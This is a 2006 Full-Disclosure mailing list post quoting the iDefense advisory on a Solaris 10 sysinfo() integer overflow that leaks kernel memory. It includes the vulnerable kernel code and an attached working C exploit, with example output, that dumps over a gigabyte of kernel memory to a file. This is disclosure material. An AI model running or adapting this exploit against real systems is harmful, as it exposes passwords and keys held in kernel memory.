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Re: Re: [Full-disclosure] iDefense Security Advisory 07.20.06: Sun Microsystems Solaris sysinfo() Kernel Memory Disclosure Vulnerability
From: Micheal Turner <wh1t3h4t3 () yahoo co uk>
Date: Mon, 24 Jul 2006 11:10:17 +0100 (BST)

Exploit has been attached as problems with site
hosting over weekend.

--- Micheal Turner <wh1t3h4t3 () yahoo co uk> wrote:


http://prdelka.blackart.org.uk/exploitz/prdelka-vs-SUN-sysinfo.c

--- labs-no-reply <labs-no-reply () idefense com>
wrote:

Sun Microsystems Solaris sysinfo() Kernel Memory
Disclosure Vulnerability

iDefense Security Advisory 07.20.06


http://www.idefense.com/application/poi/display?type=vulnerabilities
July 20, 2006

I. BACKGROUND

Solaris is a UNIX operating system developed by
Sun
Microsystems.

II. DESCRIPTION

Local exploitation of an integer overflow
vulnerability in Sun
Microsystems Inc. Solaris allows attackers to read
kernel memory from a
non-privileged userspace process.

The vulnerability specifically exists due to an
integer overflow in
/usr/src/uts/common/syscall/systeminfo.c. The
vulnerable code is as
follows:

125     if (kstr != NULL) {
126         if ((strcnt = strlen(kstr)) >= count)
{
127             getcnt = count - 1;
128             if (subyte(buf + count - 1, 0) <
0)
129                 return (set_errno(EFAULT));
130         } else
131             getcnt = strcnt + 1;
132         if (copyout(kstr, buf, getcnt))
133             return (set_errno(EFAULT));
134         return (strcnt + 1);
135     }


If the variable count (which is a value provided
by
the user invoking
the function) is 0, the function will call the
copyout function with a
length argument of -1. Because copyout interprets
the length argument as
an unsigned integer, a large amount of data will
be
copied out to
userspace, well beyond the boundaries that are
intended.

III. ANALYSIS

Successful exploitation of this vulnerability
allows
attackers to read
sensitive kernel memory. This can lead to the
compromise of passwords or
keys. It can also aid an attacker in gathering
information for
exploitation of other kernel level
vulnerabilities.

IV. DETECTION

iDefense has confirmed that Solaris 10 is
vulnerable. Earlier versions
of Solaris are not affected.

V. WORKAROUND

iDefense is currently unaware of any workaround
for
this issue.

VI. VENDOR RESPONSE

Sun Alert ID 102343 addresses this issue and is
available at:

   


http://sunsolve.sun.com/search/document.do?assetkey=1-26-102343-1

VII. CVE INFORMATION

A Mitre Corp. Common Vulnerabilities and Exposures
(CVE) number has not
been assigned yet.

VIII. DISCLOSURE TIMELINE

12/15/2005  Initial vendor notification
12/15/2005  Initial vendor response
07/20/2006  Coordinated public disclosure

IX. CREDIT

The discoverer of this vulnerability wishes to
remain anonymous.

Get paid for vulnerability research
http://www.idefense.com/poi/teams/vcp.jsp

Free tools, research and upcoming events
http://labs.idefense.com

X. LEGAL NOTICES

Copyright © 2006 iDefense, Inc.

Permission is granted for the redistribution of
this
alert
electronically. It may not be edited in any way
without the express
written consent of iDEFENSE. If you wish to
reprint
the whole or any
part of this alert in any other medium other than
electronically, please
email customerservice () idefense com for permission.

Disclaimer: The information in the advisory is
believed to be accurate
at the time of publishing based on currently
available information. Use
of the information constitutes acceptance for use
in
an AS IS condition.
There are no warranties with regard to this
information. Neither the
author nor the publisher accepts any liability for
any direct, indirect,
or consequential loss or damage arising from use
of,
or reliance on,
this information.

_______________________________________________
Full-Disclosure - We believe in it.
Charter:


http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia -
http://secunia.com/




              

___________________________________________________________

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_______________________________________________
Full-Disclosure - We believe in it.
Charter:

http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia -
http://secunia.com/



                
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/* Sun Microsystems Solaris sysinfo() Kernel Memory Disclosure exploit
 * ===================================================================
 * Local exploitation of an integer overflow vulnerability in Sun
 * Microsystems Inc. Solaris allows attackers to read kernel memory from a
 * non-privileged userspace process. The vulnerability specifically exists
 * due to an integer overflow in /usr/src/uts/common/syscall/systeminfo.c
 *
 * Example Use.
 * $ uname -a 
 * SunOS sunos 5.11 snv_30 sun4u sparc SUNW,Ultra-250
 * $ ./prdelka-vs-SUN-sysinfo kbuf
 * [ Solaris <= 10 sysinfo() kernel memory information leak
 * [ Wrote 1294967293 bytes to kbuf
 * $ ls -al kbuf
 * -rwx------   1 user     other       1.2G Jul 21 23:56 kbuf
 *
 * -prdelka
 */
#include <sys/systeminfo.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

#define bufsize 1294967293

int main(int argc,char* argv[]){
        int fd;
        ssize_t out;
        char* output_buffer;
        if(argc < 2){
                printf("[ Use with <filepath>\n");
                exit(1);
        }
        printf("[ Solaris <= 10 sysinfo() kernel memory information leak\n");
        output_buffer = malloc(bufsize);
        memset(output_buffer,0,bufsize);
        sysinfo(SI_SYSNAME,output_buffer,0);
        fd = open(argv[1],O_RDWR|O_CREAT,0700);
        if(fd){
                out = write(fd,output_buffer,bufsize);
                printf("[ Wrote %u bytes to %s\n",out,argv[1]);
                close(fd);
        }
        exit(0);
}


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